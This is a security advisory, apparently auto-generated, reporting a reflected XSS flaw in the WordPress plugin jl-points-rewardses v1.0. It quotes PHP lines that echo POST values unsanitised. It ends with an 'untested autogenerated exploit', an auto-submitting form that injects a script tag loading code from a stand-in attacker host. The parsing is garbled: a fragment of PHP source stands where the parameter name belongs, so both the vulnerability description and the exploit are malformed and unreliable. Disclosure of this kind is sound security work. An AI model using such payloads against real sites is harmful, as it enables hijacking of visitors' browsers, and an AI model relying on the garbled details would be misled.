Advisory #: 1079
Title: Reflected XSS in wordpress plugin jl-points-rewardses v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/jl-points-rewardses
Downloads: 770
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: jl-points-rewardses
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./jl-points-rewardses/points-Settings.php: 167: <? echo $_POST[ 'API_KEY']?> 174: <?echo $_POST[ 'API_SECRET_KEY']?> 181: <?echo $_POST[ 'SERVER']?> The variable API_KEY']?> 174: <?echo $_ appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./jl-points-rewardses/points-Settings.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3.  <form name=TheForm action=http://[target]/wp-content/plugins/jl-points-rewardses/points-Settings.php method=post> <input type=hidden name=API_KEY']?>

  4. 174:                <?echo $_ value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>